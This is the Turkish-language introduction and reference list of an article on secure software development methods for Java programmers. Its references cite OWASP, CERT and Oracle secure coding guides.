Güvenli yazılım geliştirme süreçleri (GYG), güvenli bir sistem tasarlamak ve de güvenli bir ürün ortaya koyabilmek için vazgeçilmezdir. Bu süreçler tehdit modelleme, risk analizi, yazılımcıları bilinçlendirmeye yönelik güvenlik eğitimleri ve dokümanları, mimari analiz, kod analizi ve sızma testleri gibi güvenlik için vazgeçilmez gereksinimleri içermektedir.

Ben bu yazımda GYG'nin bir parçası olan ve Java yazılımcıları için ortak bir güvenlik farkındalığı oluşturacak "*güvenli yazılım geliştirme metotlarını*" detaylı olarak anlattım. Yazım, Java diline özel olmakla birlikte diğer dillerle yazılım geliştirenler için de yol gösterici bilgiler içermektedir.

4. Referanslar

1. SQL Cheat Sheet: http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
2. The Owasp Top Ten and ESAPI, http://www.jtmelton.com/2009/01/03/the-owasp-top-ten-and-esapi/
3. Secure Coding Guidelines for the Java Programming Language, http://java.sun.com/security/seccodeguide.html
4. Owasp Top 10 for Java EE, http://www.owasp.org/images/8/89/OWASP_Top_10_2007_for_JEE.pdf
5. Java Access Control Mechanisms, http://labs.oracle.com/techrep/2002/smli_tr-2002-108.pdf
6. The CERT Oracle Secure Coding Standard for Java, https://www.securecoding.cert.org/confluence/display/java/The+CERT+Oracle+Secure+Coding+Standard+for+Java
7. SAMM ile Güvenli Yazılım Geliştirme, http://dergi.webguvenligi.org/websec/57-samm-ile-guvenli-yazilim-gelistirme.wgt
8. SQL Injection Prevention Cheat Sheet, http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
9. XSS (Cross Site Scripting) Prevention Cheat Sheet, http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet